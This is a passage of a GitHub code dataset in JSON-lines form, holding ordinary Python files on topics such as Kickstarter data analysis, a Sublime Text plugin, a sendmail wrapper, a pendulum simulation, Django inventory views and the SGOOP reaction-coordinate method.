range(top5_prob.size(0)):\n    print(categories[top5_catid[i]], top5_prob[i].item())\n\n\n","repo_name":"prisar/electro","sub_path":"py/alex.py","file_name":"alex.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"29544217187","text":"# Make matplotlib static. Use notebook instead of inline to make interactive\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n# Import required libraries\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Load part of the dataset to have a look\ndf = pd.read_csv('kickstarter-projects/ks-projects-201801.csv', nrows=10)\n\n# Let's have a look\ndf.head()\n\n# We see that there are two date/time columns, we'll tell pandas to parse them when loading the full file.\ndf = pd.read_csv('kickstarter-projects/ks-projects-201801.csv',\n                 parse_dates=['deadline', 'launched'],\n                 encoding = \"ISO-8859-1\")\n\n# Get some general info on the dataset.\n# Int is for integer, float for floating point (number with decimal), object for string (text) or mixed types.\ndf.info()\n\n# Describe is the basic summary stats function for numerical values.\ndf.describe()\n\nstats_cols = ['backers', 'usd_pledged_real', 'usd_goal_real']\ndf[stats_cols].describe()\n\ndf.columns\n\ndf.main_category.unique()\n\ndf.state.unique()\n\ndf.groupby('main_category')['ID'].count()\n\ndf.groupby('state')['ID'].count()\n\n# It would be nicer if those states were capitalized. We can easily do that\ndf['state'] = df['state'].str.capitalize()\ndf.groupby('state')['ID'].count()\n\n# We'll also rename some of the columns so that the output is cleaner.\ndf.columns = ['ID', 'name', 'category', 'Main category', 'currency', 'deadline',\n              'goal', 'launched', 'pledged', 'State', 'Backers', 'country',\n              'usd pledged', 'Pledged (USD)', 'Goal (USD)']\n\n# Let's add a column that compute the funding percentage\ndf['Funding %'] = df['pledged'] / df['goal']\n\nstats_cols = ['Backers', 'Pledged (USD)', 'Goal (USD)', 'Funding %']\ndesc_stats = df[df.State.isin(['Successful', 'Failed'])].groupby('State')[stats_cols].describe()\ndesc_stats\n\ndesc_stats.transpose()\n\ndesc_stats.transpose().unstack(level=0)\n\n# This here is what we want!\ndesc_stats = desc_stats.transpose().unstack(level=0).transpose()\ndesc_stats\n\n# We still need to rename the columns\ndesc_stats.columns = ['Count', 'Mean', 'Std. Dev.', 'Min.', '25th Pct.', 'Median', '75th Pct.', 'Max']\ndesc_stats\n\n# We can export that to Excel\ndesc_stats.to_excel('DescStats_v1.xlsx')\n\n# Create a Pandas Excel writer using XlsxWriter as the engine.\nwriter = pd.ExcelWriter('DescStats_v2.xlsx', engine='xlsxwriter')\ndesc_stats.to_excel(writer, sheet_name='Sheet1')\n\n# Get the xlsxwriter objects from the dataframe writer object.\nworkbook  = writer.book\nworksheet = writer.sheets['Sheet1']\n\n# Add some cell formats.\nformat1 = workbook.add_format({'num_format': '#,##0.00'})\nformat2 = workbook.add_format({'num_format': '#,##0'})\n\n# Set the column width.\nworksheet.set_column('B:B', 18, None)\n\n# Set the column format.\nworksheet.set_column('D:D', None, format1)\nworksheet.set_column('F:I', None, format1)\nworksheet.set_column('C:C', None, format2)\n\n# Set the column width and format.\nworksheet.set_column('E:E', 12, format1)\nworksheet.set_column('J:J', 14, format1)\n\n# Close the Pandas Excel writer and output the Excel file.\nwriter.save()\n\n# First, create new columns with the year of each date columns\ndf['launched_year'] = df['launched'].dt.year\ndf['deadline_year'] = df['deadline'].dt.year\n\n# Next, compute the duration of the campain, in weeks\ndf['duration'] = np.round((df['deadline'] - df['launched']).dt.days / 7)\n\ndf['duration'].describe()\n\npd.crosstab(df.launched_year, df.State)\n\n# We can safely drop all events with a 1970 start date.\ndf = df[df.launched_year != 1970]\n\npd.crosstab(df.launched_year, df.State)\n\n# Say we only want to compare fails and success, we can create a separate view of the dataset that\n# contains only those states\ndf_result = df[df.State.isin(['Failed', 'Successful'])]\npd.crosstab(df_result.launched_year, df_result.State)\n\n# Let's plot this instead\npd.crosstab(df_result.launched_year, df_result.State).plot()\n\n# Ok, but maybe a bar plot would be better.\npd.crosstab(df_result.launched_year, df_result.State).plot.bar()\n\n# Some additional imports - usually you would put these at the top of the notebook.\nfrom matplotlib.ticker import FuncFormatter\n\n\n# First change, let's capture the axis and set colors and hatches\n# For the list of xkcd colors see https://xkcd.com/color/rgb/\nax = pd.crosstab(df_result.launched_year, df_result.State).plot.bar(\n    color=['xkcd:dark gray', 'xkcd:light blue'])\n\n# Set the label formatter of the y-axis to have thousand commas.\nax.yaxis.set_major_formatter(FuncFormatter(lambda x, p: format(int(x), ',')))\n\n# Rotate the year labels\nax.xaxis.set_tick_params(rotation=0)\n\n# Add some labels\nax.set_xlabel('Year', fontsize=13)\nax.set_ylabel('Number of projects', fontsize=13)\n# Add a title\nax.set_title('Number of failed and successful projects per year', fontsize=14)\n\n# Set the location of the legend\nax.legend(loc='upper left')\n\n# Tell matplotlib to make it look sharp\nplt.tight_layout()\n\n# Export to pdf\nplt.savefig('BarPlot_States.pdf')\n\n\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/KickstarterExploration.py","file_name":"KickstarterExploration.py","file_ext":"py","file_size_in_byte":4965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"9084986310","text":"import sublime\nimport sublime_plugin\n\n\nclass ScrollToBofCommand(sublime_plugin.TextCommand):\n    def run(self, edit):\n        # self.view.run_command('move', {'by': 'lines', 'forward': False})\n        # 移动到指定位置，使用下面的方法，先使用text_point方法定位位置，在使用sel().clear()清除当前选区\n        # 接着使用sel().add(sublime.Region(pt))增加当前点到选区，最后显示选区完成移动操作。\n        pt = self.view.text_point(2, 0)\n        self.view.sel().clear()\n        self.view.sel().add(sublime.Region(pt))\n        self.view.show(pt)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"HikariShine/EditorConfigs","sub_path":"Sublime Text 3/Packages/Guangshan/scroll_to_eof.py","file_name":"scroll_to_eof.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"3175510854","text":"\"\"\"A simple wrapper to call sendmail-like binary.\"\"\"\n# =============================================================================\n# CONTENTS\n# -----------------------------------------------------------------------------\n# phlsys_sendmail\n#\n# Public Classes:\n#   Sendmail\n#    .set_default_binary\n#    .set_default_params_from_type\n#    .send\n#\n# -----------------------------------------------------------------------------\n# (this contents block is generated, edits will be lost)\n# =============================================================================\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport phlsys_subprocess\n\n\nclass Sendmail():\n\n    _default_binary = 'sendmail'\n    _default_params = ['-t']\n\n    @classmethod\n    def set_default_binary(cls, binary):\n        cls._default_binary = binary\n\n    @classmethod\n    def set_default_params_from_type(cls, sendmail_type):\n        if \"sendmail\" == sendmail_type:\n            cls._default_params = [\"-t\"]\n        elif \"catchmail\" == sendmail_type:\n            cls._default_params = []\n        else:\n            raise TypeError(str(sendmail_type) + \" is not a type of sendmail\")\n\n    def __init__(self, binary=None, params=None):\n        \"\"\"Simply copy the supplied parameters and store in the object.\n\n        :binary: the binary to execute, 'sendmail' if None\n\n        Note that other binaries that are sendmail-compatabile, like\n        'catchmail' can be used here instead.\n\n        \"\"\"\n        self._binary = binary if binary is not None else self._default_binary\n        self._params = params if params is not None else self._default_params\n\n    # def call(*args, stdin=None): <-- supported in Python 3\n    def send(self, stdin):\n        result = phlsys_subprocess.run(\n            self._binary, *self._params, stdin=stdin)\n        return result.stdout\n\n\n# -----------------------------------------------------------------------------\n# Copyright (C) 2013-2014 Bloomberg Finance L.P.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ------------------------------ END-OF-FILE ----------------------------------\n","repo_name":"bloomberg/phabricator-tools","sub_path":"py/phl/phlsys_sendmail.py","file_name":"phlsys_sendmail.py","file_ext":"py","file_size_in_byte":2647,"program_lang":"python","lang":"en","doc_type":"code","stars":220,"dataset":"github-code","pt":"38"}
{"seq_id":"16826214603","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nfrom n_pnd import *\n\nn_two = 25\nN = [n_two, n_two] # number of linked pendulums\nSLOW_MOTION = 1 # slow motion factor in animation\ndt = 0.001 # infinitesimal time increment in seconds\nT = 35 # length of time to be simulated\nL = 50.0\nG = 9.8/L # effective gravity\ncoef = setup_coef(N)\n\n# initial conditions\ntheta0 = []\nomega0 = []\nfor i in range(len(N)):\n    theta0.append(np.tile(2.0, N[i])) # counterclockwise angle relative to the vertical for each rod\n    omega0.append(np.tile(0.0, N[i])) # counterclockwise angular velocity for each rod\ntheta0[1] += 1.0e-15\n\nprint(\"INITIAL THETA\")\nprint(theta0[0])\nprint(theta0[1])\n\ncoef = setup_coef(N)\n\nfig, ax = plt.subplots()\ntime_text = ax.text(-0.9*max(N), 0.9*max(N), \"t=0\")\ndata = []\ninit_data = [np.copy(theta0), np.copy(omega0)]\nfor i in range(len(N)):\n    data.append(evolve_pnd(init_data[0][i], init_data[1][i], T, dt, G, coef))\nlines = [ax.plot(data[i][0][0], data[i][1][0])[0] for i in range(len(data))]\ndraw = lines + [time_text]\nnframes = int(len(data[0][0])*dt*SLOW_MOTION/0.02-1)\ndef animate(i):\n    for j in range(len(lines)):\n        lines[j].set_xdata(data[j][0][int(i*0.02/dt/SLOW_MOTION)])\n        lines[j].set_ydata(data[j][1][int(i*0.02/dt/SLOW_MOTION)])\n    time_text.set_text(\"t=\"+str(int(i*20)/SLOW_MOTION/1000.0))\n    return draw\nani = animation.FuncAnimation(fig, animate, frames=nframes, interval=20, save_count=nframes)\nplt.xlim([-1.1, 1.1])\nplt.ylim([-1.1, 1.1])\n\nif len(N) >= 2:\n    fig2, ax2 = plt.subplots()\n    print(\"Calculating Lyapunov\")\n    print(theta0)\n    data_t_0 = [data[0][2], data[0][3]]\n    data_t_1 = [data[1][2], data[1][3]]\n    lyap = lyapunov(data_t_0, data_t_1, dt)\n    print(lyap[1].shape)\n    print(lyap[2])\n    ax2.plot(lyap[0], lyap[1])\n    fig3, ax3 = plt.subplots()\n    ax3.plot(np.append(np.tile(0, int(T/dt)-lyap[0].size), lyap[0]), np.log(np.abs(np.asarray(data[0][2]).T[0] - np.asarray(data[1][2]).T[0])))\n\nplt.show()\n","repo_name":"crackalamoo/n-pendulum","sub_path":"sim.py","file_name":"sim.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"24627319518","text":"\"\"\"\r\nAbout Writer\r\n\r\nThe About Writer is a Python script that adds an \"about\" statement to the specified files.\r\nIt is designed to help add metadata information, such as author and timestamp, to source code files.\r\nThe script supports various file formats and can recursively process files in a specified folder.\r\n\r\nAuthor: ZION\r\n\r\nUsage:\r\n    python about_writer.py [-h] [-x EXTS] [-v] path name\r\n\r\nArguments:\r\n    path: The path to the file or folder.\r\n    name: The name to be set as the author of the file.\r\n\r\nOptions:\r\n    -x EXTS: Only modify files with the given extension(s). Separate multiple extensions with a comma (,).\r\n    -v: Show verbose output.\r\n\r\nSupported File Formats:\r\n    - Python (.py)\r\n    - Java (.java)\r\n    - C (.c)\r\n    - PHP (.php)\r\n    - HTML (.html)\r\n    - JSON (.json)\r\n    - CSS (.css)\r\n    - JavaScript (.js)\r\n    - Perl (.pl)\r\n    - Shell Script (.sh)\r\n    - C++ (.cpp)\r\n    - C# (.cs)\r\n    - R (.r)\r\n    - Text (.txt)\r\n\"\"\"\r\n\r\n\r\nimport subprocess\r\nimport pathlib\r\nimport os\r\nimport argparse\r\nimport re\r\n\r\nINCLUDED_EXTS = {\r\n    \"*.py\": (\"\\\"\\\"\\\"\", \"\\\"\\\"\\\"\"),\r\n    \"*.java\": (\"/*\", \"*/\"),\r\n    \"*.c\": (\"/*\", \"*/\"),\r\n    \"*.php\": (\"/*\", \"*/\"),\r\n    \"*.html\": (\"<!--\", \"-->\"),\r\n    \"*.json\": (\"/*\", \"*/\"),\r\n    \"*.css\": (\"/*\", \"*/\"),\r\n    \"*.js\": (\"/*\", \"*/\"),\r\n    \"*.pl\": (\"=pod\", \"=cut\"),\r\n    \"*.sh\": (\": '\", \"'\"),\r\n    \"*.cpp\": (\"/*\", \"*/\"),\r\n    \"*.cs\": (\"/*\", \"*/\"),\r\n    \"*.r\": (\"#\", \"\"),\r\n    \"*.txt\": (\"\", \"\"),\r\n}\r\n\r\nEXCLUDED_EXTS = [\"exe\", \"class\", \"pickle\"]\r\nFILES_LIST = []\r\n\r\n\r\ndef get_folder(foldername, exts=[\"*\"], verbose=False):\r\n    \"\"\"\r\n    Recursively gets all the files in the specified folder with the given extensions.\r\n\r\n    :param foldername: The folder name\r\n    :type foldername: str\r\n    :param exts: The extensions of files to include, defaults to [\"*\"]\r\n    :type exts: list, optional\r\n    :param verbose: Flag to print verbose output, defaults to False\r\n    :type verbose: bool, optional\r\n    \"\"\"\r\n    for i in exts:\r\n        for child in pathlib.Path(foldername).rglob(i):\r\n            if child not in FILES_LIST and child.is_file():\r\n                FILES_LIST.append(child)\r\n                print(f\"[*] Appended {child} to files_list\") if verbose else print(\"\")\r\n            elif child.is_dir():\r\n                get_folder(child, exts, verbose)\r\n\r\n\r\ndef perm_edit(name, verbose=False):\r\n    \"\"\"\r\n    Applies the about statement to all the files in the files_list.\r\n\r\n    :param name: The name to be set as the author of the file\r\n    :type name: str\r\n    :param verbose: Flag to print verbose output, defaults to False\r\n    :type verbose: bool, optional\r\n    \"\"\"\r\n    for child in FILES_LIST:\r\n        if child.is_file():\r\n            print(str(child).center(75, \"=\"))\r\n            try:\r\n                edit_file(child, name, verbose)\r\n            except Exception:\r\n                ext = \"*.\" + str(child).suffix\r\n                print(f\"[!] Couldn't write to \\\"{child}\\\" because file format \\\"{ext}\\\" is not supported\") if verbose else print(\"\")\r\n\r\n\r\ndef edit_file(filepath, name, verbose=False):\r\n    \"\"\"\r\n    Edits the specified file to add the about statement.\r\n\r\n    :param filepath: The path of the file to edit\r\n    :type filepath: str\r\n    :param name: The name to be set as the author of the file\r\n    :type name: str\r\n    :param verbose: Flag to print verbose output, defaults to False\r\n    :type verbose: bool, optional\r\n    \"\"\"\r\n    if os.sep in str(filepath):\r\n        filepath = str(filepath).replace(os.sep, os.altsep)\r\n    filename = str(filepath).split(os.altsep)[-1].upper()\r\n    with open(filepath, \"r\") as file:\r\n        content = file.read()\r\n    print(f\"[*] Reading content of \\\"{filepath}\\\"\") if verbose else print(\"\")\r\n    if filename not in content:\r\n        get_date_time_info = subprocess.run([\"dir\", \"/Tc\", filepath], shell=True, capture_output=True, text=True).stdout\r\n        date = re.search(r\"\\r\\n(\\d+\\W\\w+\\W\\d+)\", get_date_time_info)\r\n        time = re.search(r\"(\\d+\\W\\d+\\W+\\w+)\", get_date_time_info)\r\n        ext = \"*.\" + str(filepath).split(os.altsep)[-1].split(\".\")[-1]\r\n        if ext not in INCLUDED_EXTS.keys():\r\n            print(f\"[!] Couldn't write to \\\"{filepath}\\\" because file format \\\"{ext}\\\" is not supported\")\r\n        else:\r\n            for i in INCLUDED_EXTS:\r\n                if i == ext:\r\n                    print(f\"[*] Writing about statement to \\\"{filepath}\\\"\") if verbose else print(\"\")\r\n                    if \"<DOCTYPE html>\".lower() not in content.lower() and ext != \"*.r\":\r\n                        text = f\"{INCLUDED_EXTS[i][0]}\\n{filename} Source Code\\n{name}, {date[0].strip()} @ {time[0].strip()}.\\n{INCLUDED_EXTS[i][-1]}\\n\\n\\n\"\r\n                    elif ext == \"*.r\":\r\n                        text = f\"{INCLUDED_EXTS['*.r'][0]}\\t{filename} Source Code\\n{INCLUDED_EXTS['*.r'][0]}\\t{name}, {date[0].strip()} @ {time[0].strip()}.\\n\\n\\n\"\r\n                    else:\r\n                        text = f\"{INCLUDED_EXTS['*.html'][0]}\\n{filename} Source Code\\n{name}, {date[0].strip()} @ {time[0].strip()}.\\n{INCLUDED_EXTS['*.html'][-1]}\\n\\n\\n\"\r\n                    with open(filepath, \"r\", encoding=\"utf-8\") as file:\r\n                        if ext == \"*.php\":\r\n                            if \"<DOCTYPE html>\".lower() not in content.lower():\r\n                                file.seek(5)\r\n                        content = file.read()\r\n                    with open(filepath, \"w\", encoding=\"utf-8\") as file:\r\n                        if ext == \"*.php\":\r\n                            if \"<DOCTYPE html>\".lower() not in content.lower():\r\n                                text = \"<?php\\n\" + text\r\n                        content = text + content\r\n                        file.write(content)\r\n                    print(f\"[*] Finished writing about statement to \\\"{filepath}\\\"\") if verbose else print(\"\")\r\n    else:\r\n        print(f\"[!] About statement has already been written to \\\"{filepath}\\\"\")\r\n\r\n\r\ndef main():\r\n    parser = argparse.ArgumentParser(description=\"About Writer\")\r\n    parser.add_argument(\"path\", help=\"Path to the file or folder\")\r\n    parser.add_argument(\"name\", help=\"Value to be set as the author of the file\")\r\n    parser.add_argument(\"-x\", \"--exts\", help=\"Only modify files with the given extension(s). Separate multiple extensions with comma (,)\")\r\n    parser.add_argument(\"-v\", \"--verbose\", action=\"store_true\", help=\"Show verbose output\")\r\n    args = parser.parse_args()\r\n\r\n    if os.path.isdir(args.path):\r\n        exts = [\"*\"] if not args.exts else args.exts.split(\",\")\r\n        get_folder(foldername=args.path, exts=exts, verbose=args.verbose)\r\n        perm_edit(name=args.name, verbose=args.verbose)\r\n    elif os.path.isfile(args.path):\r\n        edit_file(filepath=args.path, name=args.name, verbose=args.verbose)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","repo_name":"noiz-x/About-Writer","sub_path":"about_comment.py","file_name":"about_comment.py","file_ext":"py","file_size_in_byte":6803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"25742722482","text":"from uuid import UUID\nfrom components.models import Component\nfrom django.db.models import Sum\nfrom inventory.models import UserInventory\nfrom inventory.serializers import UserInventorySerializer\nfrom modules.models import ModuleBomListItem\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom django.shortcuts import get_object_or_404\n\n\nclass UserInventoryView(APIView):\n    \"\"\"\n    Handles GET, POST, DELETE, and PATCH methods for the user's inventory.\n    \"\"\"\n\n    permission_classes = [IsAuthenticated]\n\n    def get(self, request):\n        user = request.user\n        inventory = UserInventory.objects.filter(user=user)\n        serializer = UserInventorySerializer(inventory, many=True)\n        return Response(serializer.data, status=status.HTTP_200_OK)\n\n    def post(self, request, component_pk):\n        user = request.user\n\n        # Determine the editing mode from request\n        edit_mode = request.data.get(\"editMode\", True)\n\n        # Filter the user inventory items by user and component_id\n        user_inventory_items = UserInventory.objects.filter(\n            user=user, component__id=component_pk\n        )\n\n        # If the user inventory item exists, update the quantity\n        if user_inventory_items.exists():\n            user_inventory_item = user_inventory_items.first()\n            quantity = int(request.data.get(\"quantity\", 0))\n            if edit_mode:\n                user_inventory_item.quantity = quantity\n            else:\n                user_inventory_item.quantity += quantity\n\n            user_inventory_item.save()\n            serializer = UserInventorySerializer(user_inventory_item)\n            return Response(serializer.data, status=status.HTTP_200_OK)\n\n        # If the user inventory item does not exist, create a new one\n        quantity = int(request.data.get(\"quantity\", 0))\n        component = Component.objects.get(id=component_pk)\n\n        user_inventory = UserInventory.objects.create(\n            user=user, component=component, quantity=quantity\n        )\n\n        serializer = UserInventorySerializer(user_inventory)\n        return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n    def delete(self, request, component_pk):\n        user = request.user\n        user_inventory_item = UserInventory.objects.filter(\n            user=user, component__id=component_pk\n        ).first()\n\n        if not user_inventory_item:\n            return Response(\n                {\"detail\": \"User inventory not found\"}, status=status.HTTP_404_NOT_FOUND\n            )\n\n        user_inventory_item.delete()\n        return Response(\n            {\"detail\": \"User inventory deleted successfully\"},\n            status=status.HTTP_204_NO_CONTENT,\n        )\n\n    def patch(self, request, component_pk):\n        user = request.user\n        user_inventory_item = UserInventory.objects.filter(\n            user=user, component__id=component_pk\n        ).first()\n\n        if not user_inventory_item:\n            return Response(\n                {\"detail\": \"User inventory not found\"}, status=status.HTTP_404_NOT_FOUND\n            )\n\n        serializer = UserInventorySerializer(\n            user_inventory_item, data=request.data, partial=True\n        )\n\n        if serializer.is_valid():\n            serializer.save()\n            return Response(serializer.data)\n        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n@permission_classes([IsAuthenticated])\n@api_view([\"GET\"])\ndef get_user_inventory_quantity(request, component_pk):\n    inventory = UserInventory.objects.filter(\n        component__id=component_pk, user=request.user\n    )\n\n    # Check if inventory exists\n    if inventory.exists():\n        # Access the first inventory object in the QuerySet\n        # and retrieve the 'quantity' attribute\n        quantity = inventory.first().quantity\n        return Response({\"quantity\": quantity}, status=status.HTTP_200_OK)\n    else:\n        return Response({\"quantity\": 0}, status=status.HTTP_200_OK)\n\n\n@permission_classes([IsAuthenticated])\n@api_view([\"GET\"])\ndef get_user_inventory_quantities_for_bom_list_item(request, modulebomlistitem_pk):\n    \"\"\"\n    Get sum of components in user inventory that fulfill a given bom list item\n    \"\"\"\n    bom_list_item = ModuleBomListItem.objects.get(id=modulebomlistitem_pk)\n    inventory = UserInventory.objects.filter(\n        component__in=bom_list_item.components_options.all(), user=request.user\n    )\n\n    # Check if inventory exists\n    if inventory.exists():\n        # Use aggregate function to get the sum of 'quantity' attribute\n        quantity_sum = inventory.aggregate(Sum(\"quantity\")).get(\"quantity__sum\")\n        return Response({\"quantity\": quantity_sum}, status=status.HTTP_200_OK)\n    else:\n        return Response({\"quantity\": 0}, status=status.HTTP_200_OK)\n","repo_name":"PleatherStarfish/bomsquad","sub_path":"backend/inventory/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"32955500335","text":"\"\"\"Config Dictionary Dumpers.\"\"\"\n\nimport json\n\nfrom .__optional_imports import try_import\nfrom .__typing import ConfigDict, FilePath\n\n\ndef json_dumper(config: ConfigDict, location: FilePath) -> None:\n    \"\"\"Dump config to JSON file.\n\n    Args:\n        config (ConfigDict): configuration\n        location (FilePath): file to write\n    \"\"\"\n    with open(location, \"w\", encoding=\"utf-8\") as _file:\n        json.dump(config, _file)\n\n\ndef yaml_dumper(config: ConfigDict, location: FilePath) -> None:\n    \"\"\"Dump config to YAML file.\n\n    Args:\n        config (ConfigDict): configuration\n        location (FilePath): file to write\n\n    Raises:\n        ModuleNotFoundError: pyyaml is required\n    \"\"\"\n\n    yaml = try_import(\"yaml\")\n\n    if yaml is None:  # pragma: no cover\n        message = \"Please install the pyyaml library.\"\n        raise ModuleNotFoundError(message)\n\n    with open(location, \"w\", encoding=\"utf-8\") as _file:\n        # NOTE: we must convert config from OrderedDict to dict because\n        # pyyaml can't load OrderedDict for python <= 3.8\n        yaml.dump(dict(config), _file)\n\n\ndef toml_dumper(config: ConfigDict, location: FilePath) -> None:\n    \"\"\"Dump config to TOML file.\n\n    Args:\n        config (ConfigDict): configuration\n        location (FilePath): file to write\n\n    Raises:\n        ModuleNotFoundError: toml library is required for writing files\n    \"\"\"\n\n    toml = try_import(\"toml\")\n\n    if toml is None:  # pragma: no cover\n        message = \"Please install the toml library to write TOML files.\"\n        raise ModuleNotFoundError(message)\n\n    with open(location, \"w\", encoding=\"utf-8\") as _file:\n        toml.dump(config, _file)  # type: ignore\n","repo_name":"maxb2/typer-config","sub_path":"typer_config/dumpers.py","file_name":"dumpers.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"38"}
{"seq_id":"24511697840","text":"\"\"\" Script that evaluates reaction coordinates using the SGOOP method. \nProbabilites are calculated using MD trajectories. Transition rates are\nfound using the maximum caliber approach.  \nFor unbiased simulations use rc_eval().\nFor biased simulations calculate unbiased probabilities and analyze then with sgoop().\n\nThe original method was published by Tiwary and Berne, PNAS 2016, 113, 2839.\n\nAuthor: Zachary Smith                   zsmith7@terpmail.umd.edu\nOriginal Algorithm: Pratyush Tiwary     ptiwary@umd.edu \nContributor: Pablo Bravo Collado        ptbravo@uc.cl\"\"\"\n\nimport numpy as np\nimport scipy.optimize as opt\nimport sgoop.analysis as analysis\n\n\n# #####################################################################\n# ########### Get probabilities along RC with KDE #####################\n# #####################################################################\n\n\ndef md_prob(rc, md_traj, weights=None, rc_bins=20, kde_bw=None):\n    \"\"\"\n    Calculate probability density along a given reaction coordinate.\n\n    Calculate the value of the probability density function (for KDE) or probability\n    mass function (for histogram) at discrete grid points along a given RC. For a\n    biased simulation, frame weights should be supplied.\n\n    Parameters\n    ----------\n    rc : array-like\n    md_traj : array-like\n    weights : array-like, None\n    rc_bins : int, 20\n    kde_bw : float, None\n\n    Returns\n    -------\n    pdf : np.ndarray\n    grid : np.ndarray\n\n    Examples\n    --------\n\n\n    \"\"\"\n    # ensure rc and md_traj are numpy arrays before computation\n    rc = np.array(rc)\n    md_traj = np.array(md_traj)\n    # calculate rc observable for each frame\n    colvar_rc = np.sum(md_traj * rc, axis=1)\n\n    if weights is not None:\n        weights = np.array(weights)\n\n    if kde_bw is not None:\n        # evaluate pdf on a grid using KDE with Gaussian kernel\n        grid = np.linspace(colvar_rc.min(), colvar_rc.max(), num=rc_bins)\n        pdf = analysis.gaussian_density_estimation(colvar_rc, weights, grid, kde_bw)\n        return pdf, grid\n\n    # evaluate pdf using histograms\n    pdf, bin_edges = analysis.histogram_density_estimation(colvar_rc, weights, rc_bins)\n    # set grid points to center of bins\n    bin_width = bin_edges[1] - bin_edges[0]\n    grid = bin_edges[:-1] + bin_width\n\n    return pdf, grid\n\n\n# #####################################################################\n# ###### Get binned RC value along unbiased traj for MaxCal ###########\n# #####################################################################\n\n\ndef bin_max_cal(rc, md_traj, grid):\n    \"\"\"\n    Calculate Reaction Coordinate bin index for each frame in max_cal_traj.\n\n    Parameters\n    ----------\n    rc : np.ndarray\n        Array of coefficients for one-dimensional reaction coordinate.\n    md_traj : pd.DataFrame\n        DataFrame storing COLVAR data from MaxCal trajectory.\n    grid : np.ndarray\n        Array of RC values at the center of each rc_bin.\n\n    Returns\n    ----------\n    binned : np.ndarray\n\n    \"\"\"\n    if rc is None or md_traj is None:\n        return None\n\n    # ensure rc and md_traj are ndarrays before computation\n    rc = np.array(rc)\n    md_traj = np.array(md_traj)\n    # calculate rc observable for each frame\n    colvar_rc = np.sum(md_traj * rc, axis=1)\n    binned = analysis.find_closest_points(colvar_rc, grid)\n    return binned\n\n\n# #####################################################################\n# ###### Calc transistion matrix from binned RC values from   #########\n# ###### unbiased and probability from biased trajectory.     #########\n# #####################################################################\n\n\ndef get_eigenvalues(binned_rc_traj, p, d, diffusivity=None):\n    if diffusivity is None and binned_rc_traj is None:\n        print(\"You must supply a MaxCal traj or diffusivity.\")\n        return\n\n    n = diffusivity\n    if binned_rc_traj is not None:\n        # ensure binned traj is an ndarray before computation\n        binned_rc_traj = np.array(binned_rc_traj)\n        n = analysis.avg_neighbor_transitions(binned_rc_traj, d)\n\n    with np.errstate(divide=\"ignore\", invalid=\"ignore\"):\n        # ensure p is an ndarray before computation\n        p = np.array(p)\n        prob_matrix = analysis.probability_matrix(p, d)\n\n    transition_matrix = n * prob_matrix\n    eigenvalues = analysis.sorted_eigenvalues(transition_matrix)\n    return eigenvalues\n\n\n# ####################################################################\n# ###### Evaluate a series of RCs or optimize from starting RC #######\n# ####################################################################\n\n\ndef rc_eval(\n    rc,\n    probability_traj,\n    sgoop_dict,\n    weights=None,\n    max_cal_traj=None,\n    return_eigenvalues=False,\n):\n    # calculate prob for rc bins and binned rc value for MaxCal traj\n    rc_bins = sgoop_dict.get(\"rc_bins\")\n    kde_bw = sgoop_dict.get(\"kde_bw\")\n    prob, grid = md_prob(rc, probability_traj, weights, rc_bins, kde_bw)\n    # bin MaxCal trajectory. returns None if no trajectory is supplied.\n    binned = bin_max_cal(rc, max_cal_traj, grid)\n    # calculate spectral gap\n    d = sgoop_dict.get(\"d\")\n    wells = sgoop_dict.get(\"wells\")\n    diffusivity = sgoop_dict.get(\"diffusivity\")\n    eigenvalues = get_eigenvalues(binned, prob, d, diffusivity)\n    sg = analysis.spectral_gap(eigenvalues, wells)\n\n    if return_eigenvalues:\n        return sg, eigenvalues\n\n    return sg\n\n\ndef optimize_rc(\n    rc_0,\n    probability_traj,\n    sgoop_dict,\n    weights=None,\n    max_cal_traj=None,\n    niter=50,\n    annealing_temp=0.1,\n    step_size=0.5,\n):\n    \"\"\"\n    Calculate optimal RC given an initial estimate for the coefficients\n    and a Sgoop object containing a COLVAR file with CVs tracked over\n    the course of a short unbiased simulation a COLVAR file with\n    c(t) and CVs from a biased MetaD simulation.\n\n    :param rc_0:\n    :param single_sgoop:\n    :param niter:\n    :param annealing_temp:\n    :return:\n    \"\"\"\n    # pass trajectories and sgoop options through minimizer kwargs\n    minimizer_kwargs = {\n        \"method\": \"BFGS\",\n        \"options\": {\n            # \"maxiter\": 10\n        },\n        \"args\": (probability_traj, sgoop_dict, weights, max_cal_traj),\n    }\n\n    if max_cal_traj is None and sgoop_dict.get(\"diffusivity\") is None:\n        print(\n            \"A dynamical observable is 